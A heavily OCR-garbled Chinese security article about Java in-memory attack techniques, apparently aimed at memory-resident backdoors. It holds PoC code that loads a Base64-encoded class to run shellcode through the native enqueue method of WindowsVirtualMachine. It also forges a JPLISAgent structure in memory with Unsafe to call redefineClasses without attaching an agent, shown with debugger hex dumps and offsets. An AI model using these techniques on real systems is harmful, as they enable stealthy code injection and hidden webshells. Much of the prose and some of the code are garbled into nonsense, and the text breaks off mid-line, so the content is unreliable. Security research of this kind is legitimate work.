} catch (Exception e) {
e.printStackTrace();
3
return hProcess;
}

TRIE, T
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sun.tools.attach.VirtualMachinelmpl 28, AEHBEEIERBEEE enqueue X Native
k. XEARERBRFE R, X1 Native J7ALT attach.dll, X4 dil & JOK
1 Server—JRE ZRIAB Y, 1BR2IXD sun.tools.attach.VirtualMachinelmpl Z5pF7EHT
tools.jar BIHNEE T JOK MBHEN, X NIARSNEEMH tools.jar? ENELE
JOK IMEZEA toolsjar B9, HA, X TEOLERNERN,

BMNREHCE—1E, EMRERN sun.tools.attach.VirtualMachinelmpl Bl , 7~

TrRIgER AN, 118 2E —1 sun.tools.attach.VirtualMachinelmpl 25, B2l

%%AEWE%QE tools.jar, AFEAIE SENERETMBNENSIRE, BB —
BRNAER? ST EE1,

HSX N FEEKES 1.0 RANIHEMEE@BAR T, BER—TBEENXN
classLoader, B2 AIEAE classLoader £ loadClass AIRE K AW EZIEN I,
PR URAZFEEFE—1E, BMERMNABBE X classLoader % loadClass,
BRIRBIRZENEB L, BREURIIST loadClass, EfzZ defineClass BIr]
ME(EENTHIDHARORE, MEEXRZBIIIMERBENY, &5
java.lang.String &% [0 20:) SRS B defineClass iR Class ESEEIM, AfFEE
FREAREBM Native IREIBIA], FEA Native IREEVERRORTE RN & E R 89
ERER, FHAKNEREBZER ClassLoader, X EH 11X EREMIINERE,

EA0FAT] B E XA F XL

package sun.tools.attach;

import java.io.IOException;
import java.util.Scanner;

public class WindowsVirtualMachine {
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object... args) throws
IOException;

static native long openProcess(int pid) throws IOException;

public static void run(byte[] buf) {
System.loadLibrary("attach");
try {
enqueue(-1, buf, "test", "test", new Object[]{});
} catch (Exception e) {

e.printStackTrace();
}



AR RIRIFEMN class XM, BIXXXHFH Base64 fwt8, R/ES5EA0T POC
B

import java.io.*;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

import java.security.Permission;

import java.util.Arrays;

import java.util.Base64;

public class Poc {

public static class Myloader extends ClassLoader //#t;#ClassLoader

{
public Class get(byte[] b) {
return super.defineClass(b, @, b.length);

ks
}
public static void main(String[] args)
{
try {
String

classStr="yv66vgAAADQAMgoABwWA jCAAKCgALACYF//////////8TACcHACgKAASAKQcAKgoACQArBwAs
AQAGPG1uaXQ+AQADKC1WAQAEQ29kZQEAD@XxpbmVOdW11ZXIJUYWISZQEAEkxVY2FsVmFyaWFibGVUYW]sZQ
EABHRoaXMBAChMc3VuL3Rvb2xzL 2FQdGF jaC9XaW5kb3dzVmlydHVhbE1hY2hpbmU7AQAHZWSxdWV1ZQEA
PShKW@JIMamF2YS9sYW5nLIN@cmluZztMamF2YS9sYWS5nLINOcmluZztbTGphdmEvbGFUZy9PYmplY3Q7KV
YBAApFeGN1cHRpb25zBwAtAQALb3B1b1Byb2N1c3MBAAQOSSTKAQADCcnVUAQAFKFtCKVYBAAFLAQAVTGph
dmEvbGFuZy9FeGN1cHRpb247AQADYNVMAQACW@IBAALTAGF ja@1lhcFRhYmx1BwAqAQAKU291cmN1RmlsZQ
EAGLdpbmRvd3NWaXJOdWFsTWF jaGluZS5qYXZhDAAMAA@BAAZhdHRhY2gHACAMACSAMAEABHR1 c3QBABBq
YXZhL2xhbmcvT21qZWNODAATABQBABNGYXZhL2xhbmcvRXhjZXBOaW9uDAAXAAOBACZzdW4vdGIvbHMvYX
ROYWNoL1dpbmRvd3NWaXJQdWFsTWF jaGluZQEAE2phdmEvaW8vSU9FeGN1 cHRpb24BABBqYXZhL2xhbmcv
U31zdGVtAQALbGONZExpYnJhcnkBABUoTGphdmEvbGFUZy9TdHIpbmc7KVYBAA9wWcmLudFNOYWNrVHIhY?2
UATQALAACAAAAAAAQAAQAMAAQAAQAOAAAALWABAAEAAAAFKrcAADEAAAACAABAAAAGAAEAAAAGABAAAAAM
AAEAAAAFABEAEgAAAYgAEWAUAAEAFQAAAAQAAQAWAQQAFWAYAAEAFQAAAAQAAQAWAAKAGQAGAAEADgAAB?Z
MABgACAAAHABICuAADEQEUVAhZAXD8VFKEEEhUWNQUQg1RZBhDkVFKHEPBUWQgQ6FRZEAYQWFRZEACDVFKQ
CANUWRAJA1RZEA0QQVRZEASQUVRZEAWQQVRZEAQQUFRZEA4QU1RZEA8QUVRZEBAQV1RZEBEQSFRZEBIQMV
RZEBMQ@1RZEBQQZVRZEBUQSFRZEBYQi1RZEBcQU1RZEBgQYFRZEBkQSFRZEBoQi1RZEBsQU1RZEBWQGFRZ
EBOQSFRZEB4Qi1RZEB8QU1RZECAQIFRZECEQSFRZECIQi1RZECMQc1RZECQQUFRZECUQSFRZECYQD1RZEC
cQt1RZECgQS1RZECKkQS1RZECOQTVRZECsQMVRZECwWQYVRZECOQSFRZEC4QMVRZEC8QWFRZEDAQrFRZEDEQ
PFRZEDIQYVRZEDMQfFRZEDQFVFkQNRAsVFkQNhAgVFkQNxBBVFkQOBDBVFkQORDJVFkQOhANVFkQOxBBVF
kQPARUWRA9EMFUWRA+EOJUWRA/EOLUWRBAEF JUWRBBEEFUWRBCEFFUWRBDEEhUWRBEEI tUWRBFEFJUWRBG
ECBUWRBHEItUWRBIEEJUWRBJIEDXUWRBKEEhUWRBLBFRZEEWOQFRZEE®Q11RZEE4QaFRZEE8QiFRZEFADVF



kQUQNUWRBSA1RZEFMQSFRZEFQQhVRZE FUQWFRZEFYQAFRZEF cQZ1RZEFgQSFRZEFKEVFkQWhDQVFKQWXBQ
VFkQXBCLVFKQXRBIVFkQXhAYVFKQXXBEVFKQYBCLVFKQYRBAVFKQYhAGVFkQYxBJIVFKQZARUWRBLENBUWR
BmEONUWRBNEFZUWRBOEEhUWRBpALRZEGoQyVRZEGsQQVRZEGWQi 1RZEGOQNFRZEG4Qi FRZEG8QSFRZEHAE
VFKQcRDWVFkQchBNVFkQcxAXVFkQABDIVFKQARBIVFkQAhAXVFkQdxDAVFkQeBCsVFkQeRBBVFkQehDBVF
kQexDJVFkQfBANVFKQfRBBVFkQf gRUNRB/EMFUNREAgBA4VFKRATEQ4FRZEQCCEHVUNREAgXDXVFKRAIQQ
TFRZEQCFB1RZEQCGEEXUWREAhXAKVFKRAIGQCFRZEQCIEEVUWREAL hASVFKRAISQOVRZEQCMEHVUWREAGR
DYVFKRAI4QWFRZEQCPEERUNREAKBCLVFKRAJEQQFRZEQCSECRUNREAKxBJIVFKRAJQEVFKRAJUQOFRZEQCW
EGZUWREA1xBBVFkRAJgQi1RZEQCZEAXUNREAmhBIVFKRAJSQRFRZEQCCE ItUNREANRBAVFKRAJ4QHFRZEQ
CfEETUNREAOARUNREAORDQVFKRAKIQQVRZEQC jEItUNREApAdUWREAPRCIVFKRAKYQSFRZEQCNBFRZEQCo

ENBUWREAQRBBVFKRAKoQWFRZEQCrEEFUWREArBBYVFKRAKOQX1RZEQCUEF1UWREArxBaVFKRALAQQVRZEQ
CxEFhUWREAshBBVFKRALMQWVRZEQC@OEEFUWREAtRBaVFKRALYQSFRZEQC3EINUWREAUBDsVFKRALKQIFRZ
EQCOEEFUWREAUXBSVFKRALWCVFKRALOQ4FRZEQC+EFhUWREAvVXBBVFKRAMAQWVRZEQDBEFpUWREAWhBIVF
kRAMMQ1i1RZEQDEEBJUWREAXRDpVFKRAMYQV1RZEQDHATRZEQDIA1IRZEQDJA1RZEQDKEF1UWREAYXBIVFKR
AMWQULRZEQDNBFRZEQDOA1RZEQDPA1RZEQDQA1RZEQDRALIRZEQDSAIRZEQDTALIRZEQDUALIRZEQDVEENhUWR
EALhCNVFKRANCQjVRZEQDYBFRZEQDZBFRZEQDaA1RZEQDbA1RZEQDCcEEFUNREA3RC6VFKRAN4AQMVRZEQD
EItUWNREA4BBVVFKRAOEQh1RZEQD1iA1RZEQDFENVUWREASBC7VFKRAOUQ8FRZEQDMELVUWREASXCiVFKRAO
gQV1RZEQDpEEFUWREAGhCEVFKRAOSQp1RZEQDSEJVUWREA7RCOVFKRAO4QnVRZEQDVALRZEQDWENVUWREA
8RBIVFKRAPIQg1RZEQDzEMRUWREA9BAOVFKRAPUQPFRZEQDZEAZUWREA9XB8VFKRAPgQCTRZEQDSEIBUWR
EA+hD7VFkRAPsQ4FRZEQDSEHVUWREA/QhUWREA/hC7VFKkRAP8QR1RZEQEAEBNUWREBARBYVFKRAQIQb1RZ
EQEDEGpUWREBBANUWREBBRBZVFKRAQYQQVRZEQEHEI1UWREBCBDaVFkRAQkCVFkRAQoQ1VRZEQELEGNUWR
EBDBBhVFkRAQ@QbFRZEQEOEGNUWREBDxAuVFKRARAQZVRZEQEREHhUWREBEhB1VFKRARMDVESUAAQQEgGYS
Bg09AAe4AALNAANMK7YACrEAAQboBvcG+gAJAAMADWAAAB4ABWAAAAWABQANBUgANQb3ADoG+gA3BvsAOQ
b/ADSAEAAAABYAAgb7AAQAGWACAAEAAACAABOAHgAAABSAAAAJAAL3BVOHACAEAAEATQAAAAIAIg==";

Class result = new
Myloader().get(Base64.getDecoder().decode(classStr));

for (Method m:result.getDeclaredMethods())

{
System.out.println(m.getName());
if (m.getName().equals("run"))
{
m.invoke(result,new byte[]{});
ks
ks

} catch (Exception e) {
e.printStackTrace(Q);

XHEF A DUBIT BEX — T RGN ELRINE R RERIA Native F5,
X% Agent BUATZEEAN
AT T

BIEHEHE) T BRI Java AEBMHZE: Agent BUAFESHIFE Agent LAED, H

F3E Agent BEAGEEENG, SFEMNENINSR, BNEETEEMESRERNE
BIBXxA, tEUELE—NER Filter IFS, FEHLEBNEBM FilterMap, A5
T FilterConfig. FilterDef, &EAE(EN FilterChain, 1X— R FIIRIEr=4 5115



T2, REEE, FEBRAZINN Agent BUNFES A 2B EEHONGED,
BRBERIEE, Agent MAGZDHNH S MIERERE:
o MiFAE agent M{E%Z

o FELMAXM, BAFTERENR

o MIAEMAMIR, NITEEN

RETEF], BENMEN VM RELIIENENF DL, REBIINE—1T Agent
SRECHL, X Agent AJDAE Java BB agent.jar, tBRIBLE Native Y agent.so,
BENNEET agent,

8RB AR UBL LN G EHEN Agent BIRNFSIE? #E)1ER, B %8
T AFEAMEKERER S Agent BOIBR T, iivEe JVM HEEINEREN T 15
e? Mapss, MaEBT: )

B, B — MBI Agent hiMELZERRZ

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201106-32d9064 8-
ff54-1.png)

1. AZFPHMBIR JVM 237 IPC EEME, BEFRnsR=—TRRINE
agent.jar B9 AttachOperation %, X MNREMEE =X HLUE:

actioName. libName #1 agentPath;

2. lRESImILE! AttachOperation f&, 1A enqueue [£ )\ AttachOperation BAZIIZE
1FA0IE


https://xzfile.aliyuncs.com/media/upload/picture/20210817201106-32d90648-ff54-1.png

3. IRSIHAMBEFRZIEFE dequeue J53EEE AttachOperation;

4. BRSZImARMT AttachOperation, 1BV 1 RN 3 S, A
actionName 7 load RUX N MBS S, 7A/EH0% libinstrument.so (£
windows F& 8 instrument.dll) , 47 AttachOperation 9 On_Attach K%L

(BUELPILAES, Java EH instrument #14, [REZ BT Native B89
Instrument SEEI2ERY)

5. libinstrument.so B9 On_Attach =###T agentPath FIEERT jar SX1F, 1% jar
FRIAA T redefineClass BYINEE;

6. FATREES Java B, JVM =LA — Instrumentationimpl 28, X DNZEEM
ENE, BPIFREZENZE mNativeAgent:

InstrumentationImpl Instrumentation {

TransformerManager = TransformerManager(
TransftormerManager

InstrumentationImpl( varl
= varl

addTransformer(ClassFileTransformer varl) .addTransformer (varl

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201106-331alec6—
ff54-1.png)

XPNSEGE long B, H{EZ— Native ZRIEH, IEOMNE— C++ IR
JPLISAgent.

1. Instrumentationimpl £t 2 fa, BAEEA Instrumentationimpl 2869
redefineClasses A%, MFEITFRE 2 EAAEER Instrumentationimpl #9
Native 757% redefineClassesO

2. MATmdksEE N\ Native 2
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Java_sun_instrument_InstrumentationImpl_redefineClasses@
(INIEnv * jnienv, jobject implThis, jlong agent, jobjectArray classDefinitions) {
redefineClasses(jnienv, (JPLISAgent*)(intptr_t)agent, classDefinitions);

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201106—
3344467e—ff54-1.png)

RERIRN -

redefineClasses(INIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) f{
jvmtiEnv* jvmtienv = (agent);
jboolean errorOccurred 5
jclass classDefClass
jmethodID  getDefinitionClassMethodID
jmethodID  getDefinitionClassFileMethodID
jvmtiClassDefinition* classDefs
jbyteArray* targetFiles
jsize numDefs

(classDefinitiens != )s

numDefs = (*jnienv)->GetArrayLength(jnienv, classDefinitions);
errorOccurred = checkForThrowable(jnienv);
(!errorOccurred);

if (!errorOccurred) {
(numDefs > 8);

classDefClass = (*jnienv)->FindClass(jnienv, "java/lang/instrument/ClassDefinition");
errorOccurred = checkForThrowable(jnienv);
(!errorOccurred);

if (!errorOccurred) {
getDefinitionClassMethodID = (*jnienv)->GetMethodID( jnienv,
classDefClass,
"getDefinitionClass",
"()Ljava/lang/Class;");
errorOccurred = checkForThrowable(jnienv);
(!errorOccurred);

if (!errorOccurred) {
getDefinitionClassFileMethodID = (*jnienv)->GetMethodID( jnienv,
classDefClass,
"getDefinitionClassFile",
“()[8");
errorOccurred = checkForThrowable(jnienv);
(!errorOccurred);

if (!erroroccurred) {

classDefs = (jvmtiClassDefinition *) allocate(
jvmtienv,
numDefs * (jvmtiClassDefinition));

errorOccurred = (classDefs ==

(!errorOccurred);
if ( errorOccurred ) {
createAndThrowThrowableFromJVMTIErrorCode(jnienv, JVMTI_ERROR_OUT_OF_MEMORY);

else {

targetFiles = (jbyteArray *) allocate(jvmtienv,
numDefs * (jbyteAnray));
errorOccurred = (targetFiles == VB
(lerrorOccurred);
if ( errorOccurred ) {

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201107-33a0c43a—
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T —2FH 2 fa, &&RIER jvmtienv B9 redefineClasses /575 H1T2E redefine ¢
E:

if ('errorOccurred) {
jvmtiError errorCode = JVMTI_ERROR_NONE ;
errorCode = (*jvmtienv)->RedefineClasses(jvmtienv, numDefs, classDefs);
if (errorCode == JVMTI_ERROR_WRONG_PHASE) {

errorCode = JVMTI_ERROR_NONE;
} else {
errorOccurred = (errorCode != JVMTI_ERROR_NONE);

if ( errorOccurred ) {
createAndThrowThrowableFromJVMTIErrorCode(jnienv, errorCode);

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201107-33d5ffec—
ff54-1.png)

BTRE—TEEK, £LEN 8 MHERHA, BMREEPNIRE b M, BERMD
12 6 Fia T, BIRISEEIEAINER. BBARRET, S8 6 RIESEFify
Instrumentationimpl WEHEEEZVIERE EEN mNativeAgent ZEE, X MEE—T
a0 JPLISAgent WRAVFEE, XMEFNIAFE, RB—1TNE, FIFEBECHE
Native BAHK—1 JPLISAgent WxR, AREIEXTIRIMIIEL Java E
Instrumentationimpl BYM9152%, 0] BAIIH SRS m AL .

¢H3% JPLISAgent

Native ATF#R(E

TEE Native AfF LBIEN R, BLEIRENAIIZEH Native V\]T%T’Eﬁ%ﬁ BAENE
Java B DirectByteBuffer, BJDAIREAF B1BHEI/INAFINEES, Xk
DirectByteBuffer 28 F Native R7ZAY8ES), T DirectByteBuffer EEE;&@F@ &y
& Java 12 Unsafe ZRBIERENFH, XERA(MLEREMH Unsafe #47
Native NIFIR1E,

B MMUEBIREN Unsafe:

Unsafe unsafe = null;

try {


https://xzfile.aliyuncs.com/media/upload/picture/20210817201107-33d5ffec-ff54-1.png

Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);

1B unsafe B9 allocateMemory. putlong. getAddress 757%, RIBASLH Native R1F
o, 1325,
247 JPLISAgent 4544

ETR, slEot JPLISAgent WRIGEM T, WH:

_JPLISAgent {
JavavM * mIVM;
JPLISEnvironment mNormalEnvironment;
JPLISEnvironment mRetransformEnvironment;
jobject mInstrumentationImpl;
jmethodID mPremainCaller;
jmethodID mAgentmainCaller;
jmethodID mTransform;
jboolean mRedefineAvailable;
jboolean mRedefineAdded;
jboolean mNativeMethodPrefixAvailable;
jboolean mNativeMethodPrefixAdded;
mAgentClassName;
mOptionsString;
mlarfile;

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201108-340b84a0—
ff54-1.png)

JPLISAgent 2 — 1TERINEIRELEM . M 3 redefineClasses fUIE A1, &4&SLI)
redefineClasses #1EHIE * jvmtienv B redefineClasses FE, {BE2IX jvmtienv A
185, 28T jvmti(JPLISAgent) S H kA9, W

redefineClasses(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) {
jvmtiEnv* jvmtienv (agent);
jboolean errorOccurred H
jclass classDefClass
jmethodID  getDefinitionClassMethodID
jmethodID  getDefinitionClassFileMethodID
jvmtiClassDefinition* classDefs

jbyteArray* targetFiles
jsize numDefs

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201108-3437ed88—
ff54-1.png)

M jvmti 2—17%
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#define a) a->mNormalEnvironment mJVMTIEnvI

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201108-3451e90e—
ff54-1.png)

MR TR * jvmtienv B9 redefineClasses 28], W Z4N NERERE T

jvmtienv:

targetFiles = (jbyteArray *) allocate(jvmtienv,
numDefs * (jbyteArray));

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201108-34723dee—
ff54-1.png)

Hith, FHANIEDERITHNIE CHER JPLISAgent WREERINES E jvmtienv AY
85, iR JPLISAgent B9 mNormalEnvironment s G, EEMT:

_JPLISEnvironment {
jvmtiEnv * mIVMTIEnv;

JPLISAgent * mAgent;
jboolean mIsRetransformer;

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201108-3492832¢—
ff54-1.png)

Bl AB R NS EFE—DRIIMEH mAgent, XFE@7T JPLISAgent R, H4b,
BETREEWIEEH mMIVMTIEnY, X PIBEEIERNFF JVMTIEn YR, X2
JVMTI HLHI RO O 2R

BN, ZI DT, JPLISAgent WRAMEAE mRedefineAvailable R, MAERE
B true,

N RMEBEMNE JVMTIENY ROBHET .
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EfI JVMTIEnv

SISO, Ox000002E62D8EEQS0 y JPLISAgent AybilL,
0x000002E62D8EEQ50+0x8 (0x000002E62D8EEBGO) &y mJVMTIENY, BNFEE
JVMTIENV FEHHA9IEET:

PAaF1 BATF2 AT WATe WAaEsS B a1 e BEEE

it ——,—\3@%1] ASCII

000002E62D8EEY950 | 30 6D 76 6F[ 00 00 00 00| 60 EB 8E 2D|E6 02 00 00| Omvo.... é.-=2...
000002E62D8EE960 | 50 E9 8E 2Dl E6 02 00 00| 00 00 6C 00|65 00 73 00| Pé.-=.....1.e.s.
000002E62D8EE970 | 60 EB 8E 2D/ E6 02 00 00| 50 EQ 8 2D/ E6 02 00 00| "é.-=...Pé.-»...

000002£62D8EE980 | OL 00 3L 00] 2E 00 38 00| 00 00 00 00] 00 00 00 00| ..1.. 8.........
000002€62D8EEI90 |(™7000002E62D8E5000] = 0000000200000000 (B ~%c#E) PO ------------:-:-

000002E62D8EEYAD L t.r.
0000026208980 | B8 _E9 8 2D/ E6 02 00 00|41 41 41 41|41 41 41 00| _é.-=...AAAAAAA.
000002£62D8EE9CO | EQ_B6E _8F 2Dl E6 02 00 00|60 83 8F 2DIE6 02 00 00| an.-=... ..-=...

000002e62D8EE9D0 | 00 00 00 00/ 00 00 00 00|00 00 00 00[{00 00 00 00| ....vvvinnnnn.n.
000002E62D8EE9E0 | 00 00 00 00|00 00 OO0 00|00 00 00 00[{00 00 00 00| ..vviuunnn .

[atatatalole Folape TN Rt ot s Uatal nne NN nne nnd o nne nneonne Nl onn N N nnl N AN N nn

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201109-34b7b64e—
ff54-1.png)
BENZIEE:

B AFEL PAE?2 WAHES WAREL WHES B Bm1 e BEEE

ot R ASCII
000002e62D8EERGD | 20 A2 78 b6F| 00 00 00 OO|EE 71 00 00/ 00 01 01 30 (xo0....7Q..... 0

000002e6208ee670 | OO 00 00 00/ 00 00 00 00|00 00 00 QO[O0 00 00 QO vovveunnnnnnn...
000002e6208eEB80 | 02 00 00 00| 00 00 00 00|00 00 00 QO[O0 00 00 OO ...........o....
000002e62D8eEB90 | 00 00 00 00[ 00 00 00 00| AQ_EB _8E 2D|E6 02 00 00| ........ é.-@2. ..
000002E62D8EEBAO | 20 87 7E 6F| 00 00 00 00| 20 87 7E 6F| 00 00 00 00| .~0.... .~o0....
000002e62D8EERBO | 00 00 00 00| 00 00 00 OO| 00 00 00 00f00 00 00 OO ..ovuvnnan...
000002E62D8EEBCO 00 00 00 00|00 00 00 OO[0O0 00 00 00[{00 00 00 OO «ovvunnnnennn.

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201109-34dc9af4—
ff54-1.png)

pJAEE Ox6F78A220 BN JVMTIENY WRRGESIIIE, BE DT AN, 2N RFE
T jvm BRI E R, MERBEZEER, BREWE jvm RIRAIINEEIIL,
i LEENRBERNE JVMTIEny WRESLHE, (BZF, IMARIERGENAETT
27 ASLR, HEIE jvm RRAYEULFFAEIAD,

SR EEIREY JVM Efit

. ECAIAN, Unsafe 121t TIEINNZEDECEE ), XEREHNE OS ZEANE, ™
= Java EEME, TL1BE Unsafe ECAYIEIMIIE, B2 Java AYHERIILE, E%Ef
0OS BHHEZT |, 23 9MED, miEd Unsafe S — " MBE/NOHESNSS gAY,
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WM BRIBIENER, FREARERET, MXLETH, F—LETER jvm 89l
HE=S ],
RS MU

long allocateMemory = unsafe.allocateMemory(3);
System.out.println("allocateMemory: "+Long.toHexString(allocateMemory));

BB

Strinn natterns=

allocateMemonry e6lalb67do

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201109-34fc2e14~
ff54-1.png)

TELE I Ox2e61a1b67d0:

AT eR e v e o

WAFL WHE?2 WAES BWAF4s WhES B ER1 e B

Hedi B i ASCII
000002E61A1B6700 | 50 33 1B 1Al ED 00l BO 92 10 33|00 16 00 88| P3..=2...
000002E61A1B6710 | D8 6D 5B OF| 00 00l B1 92 11 33|00 17 00 88| ®&m[o. ...
000002e61A1B6720 | 50 41 43 4B| 32 3 00] B2 92 16 33|00 18 00 80| PACK200.
000002e61A186730 | 00 00 00 00| Q0 00 00 00)B3 92 17 33|00 19 00 80 ........ .
000002E61A1B6740 | FF FF FF FF|FF FF FF FF|B4 92 14 33|00 1A 00 80 | yyyyyyyy ..
000002e61A1B6750 | 00 00 00 00|00 00 00 00|BS5 92 15 33|00 1B 00 88| ........ g. . -
000002e61A1B6760 | EQ 8A F4 2C/E6 02 00 00/ B6 92 2A 33|00 1c 00 88| a.o,=...9.%3....
000002e61A1B6770 | 50 41 43 48|32 30 30 00|{B7 92 2B 33|00 1D 00 8B | PACK200...4+3....

ok
i
fafn

Wt
[FERUEN U RV R USRS

000002e61A186780 | 31 30 2e 30|/ 00 00 00 00|B8 92 28 33|00 1 00 88| 10.0...., .(3....
000002e61A186790 | 49 4 46 4F| 00 00 00 00| B9 92 29 33|00 1F 00 80| INFO....".)3....
000002e61A1B67A0 | 47 42 4B 00| 00 00 00 00|BA 92 2E 33|00 20 00 80| GBK..... e300 L.
000002e61A186780 | 00 00 00 00| 00 00 00 00|BB 92 2F 33|00 21 00 80| ........ ». /300
000002e61A1867C0 | 00 00 00 00| 00 00 00 00|BC 92 2C 33|00 22 00 88| ........ %.,3."..
000002e61A1867D0 |[00 00 00 00| 00 00 00 00|BD 92 2D 33|00 23 00 80| L....... ¥.-3
000002e61A1867E0 | 00 00 00 00| 00 00 00 00|BE 92 22 33|00 24 00 8C| ........ #."3
000002e61A1867F0 | 01 00 00 00| 00 00 00 00|BF 92 23 33|00 25 00 88| ........ 2.3

000002e61A186800 | 50 41 43 48|32 30 30 00|40 92 20 33|00 26 00 80| PAack200.@
000002e61A186810 | 6A 00 76 00| 6D 00 00 00|41 92 21 33|00 27 00 88| j.v.m...A
000002e61A186820 | 50 41 43 48|32 30 30 00|42 92 26 33|00 28 00 8| PACK200.B
000002e61A186830 | 00 00 00 00| 00 00 00 00|43 92 27 33|00 29 00 88| ........ C
000002e61A186840 | 00 00 00 00| 00 00 00 00|44 92 24 33|00 2A 00 80| ........ D
000002e61A186850 | 6E 65 74 2| 64 6C 6C 00|45 92 25 33|00 2B 00 80| net.dl11.E
000002e61A186860 | 6E 65 74 00| 64 6C 6C 00|46 92 3A 33|00 2C 00 80| net.dl11.F
000002e61A186870 | 00 00 00 00| 00 00 00 00|47 92 3B 33|00 2D 00 80| ........ G
000002e61A186880 | 00 00 00 00| 00 00 00 00|48 92 38 33|00 2 00 80| ........ H
000002e61A186890 | 00 00 00 00| 00 00 00 00|49 92 39 33|00 2F 00 80| ........ I.93.
000002e61A1868A0 | 00 00 00 00| 00 00 00 00| 4A 92 3 33|00 30 00 80| ........ J
000002e61A186880 | 00 00 00 00| 00 00 00 00|48 92 3F 33|00 31 00 80| ........ K
000002e61A1868c0 | 00 00 00 00| 00 00 00 00| 4C 92 3C 33|00 32 00 88| ........ L
000002E61A1B68D0 | €0 45 5C _6F| 00 00 _00 00| 4D 92 3D 33| 00 33 00 80| AENo....M
000002E61A1B68E0 | 6A 00 76 00| 6D 00 00 00| 4 92 32 33|00 34 00 88| j.v.m...N
000002e61A1B68F0 | 88 68 SE _6F| 00 00 00 00| 4F 92 33 33|00 35 00 80| .hAo....0
000002e61A186900 | 00 00 00 00| 00 00 00 00|50 92 30 33|00 36 00 8F| ........ P
000002e61A186910 | 00 00 00 00| 00 00 00 00|51 92 31 33|00 37 00 80| ........ Q
000002e61A186920 | 00 00 00 00| 00 00 00 00|52 92 36 33|00 38 00 80| ........ R
000002e61A186930 | 00 00 00 00| 00 00 00 00|53 92 37 33|00 39 00 80| ........ s.73.9..
000002e61A186940 | 6E 65 74 2E| 64 6C 6C 00| 54 92 34 33|00 3a 00 80 net.dWT.T.43.:..|
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% java.exe - PID: 3556 - £612: F472 6836 - x64dbg
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private static long getAgent(long jvmtiAddress)
{

Unsafe unsafe = getUnsafe();

long agentAddr=unsafe.allocateMemory(0x200);

long jvmtiStackAddr=unsafe.allocateMemory(0x200);
unsafe.putlLong(jvmtiStackAddr, jvmtiAddress);
unsafe.putlong(jvmtiStackAddr+8,0x30010100000071eel);

unsafe.putlong(jvmtiStackAddr+0x168,0x90909090000002001) ;
System.out.println("long:"+Long.toHexString(jvmtiStackAddr+0x168));
unsafe.putlLong(agentAddr, jvmtiAddress-0x234f0);

unsafe.putlong(agentAddr+0x8, jvmtiStackAddr);
unsafe.putlong(agentAddr+0x10@,agentAddr);
unsafe.putlLong(agentAddr+0x18,0x00730065006c00001);

//make retransform env
unsafe.putlLong(agentAddr+0x20, jvmtiStackAddr);
unsafe.putlong(agentAddr+0x28,agentAddr);
unsafe.putlLong(agentAddr+0x30,0x0038002e003100011);

unsafe.putlLong(agentAddr+0x38,0);
unsafe.putlLong(agentAddr+0x40,0);
unsafe.putlong(agentAddr+0x48,0);
unsafe.putlLong(agentAddr+0x50,0);

unsafe.putlong(agentAddr+0x58,0x00720074000100011) ;
unsafe.putlong(agentAddr+0x60,agentAddr+@x68);
unsafe.putlLong(agentAddr+0x68,0x00414141414141411);
return agentAddr;

ANZH F—MERSRENRY jvmti B9itbtE, IR[EME R JPLISAgent AYHBIL,
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package net.rebeyond;

import sun.misc.Unsafe;

import java.lang.instrument.(ClassDefinition;
import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.Method;

import java.util.*;

public class PocWindows {
public static void main(String[] args) throws Throwable {

Unsafe unsafe = getUnsafe();

Thread.sleep(2000);

//System.gcQ);

//Thread.sleep(2000);

long allocateMemory = unsafe.allocateMemory(3);

System.out.println("allocateMemory:’

String patterns =
"'3920':"'a5b0':'633920"','fe@0':'a650" : '60fe@0"', '99f0': 'cccc':'5199f0", '8250" : 'a650
':'638250','d200": 'fdd0':'63d200"', 'da70@':'b7e@':'67da70@"','8d58":"'a650" : '638d58","'f
5c0':'b7e@':'67f5c0"','8300":"'8348"':'148300",'4578"':'a5b0@' : '634578"',"'b300': 'a650" "
63b300', 'ef98':'07b0"' : '64ef98"','f280"':'06e0"': '60F280"','5820": '4ee@':'5f5820", '84d0
":'a5b@':'5b84d0', '00f0": '5800" : '8300f0Q","'1838"':"'b7e0': '671838",'9f60" : "'b320" : '669
fo0','e860":'08d0": '64e860", " 'f7cO':'a650":'60f7cO', 'a798":'b7ed":'69a798", '6888":"
21f@':'5f6888",'2920': 'b6f0@': '642920","'45c0": 'a5b0"' : '5d45c0', 'elf@':'b5c0’': '63elf0
','el128":"'b5e0": '63e128",'86a0@" : '4df0" : '5b86a@", '55a8"': '64a0':'6655a8",'8b98":'a65
0':'638b98",'8a10"':'b730":'648a10",'3f10":"":"'7b3f10"','8a90": '4dc@': '5b8a90" , 'e8e0
':'0910': '64e8e0','9700' : '7377"' : '5b9700" , ' 500" : '7073 " : '60f500", '6b20" : 'a5b0"' : '636
b20','b378":"'bc50": '63b378",'7608" : ' fb50": '5f7608", '5300': '8348":'105300"','8f18":"
ff20':'638f18"','7600':'3db0"': '667600','92d8":'6d6d' : '5e92d8','8700"' : 'b200' : '668700
',"45b8": 'a650" : '6645b8", '8b00Q" : '82f0" : '668b0A",'1628"': 'a5b0"':'631628","'c298":'676
5':'7bc298",'7a28":'39b@" : '5b7a28"','3820":'4808" : '233820",'dd00" : "c6a@' : '63ddeQ’,"’
Obe@':'a5b0': '630bed’', 'aadd':'8el0Q': '7eaadd’, '4a98"':'b7e0"':'674a98"','4470"':'6100" :
'824470','6700": '4de@' : '696700', 'a000' : '3440" : '66a000"', '2080': 'a5b0@' : '632080', 'aa2
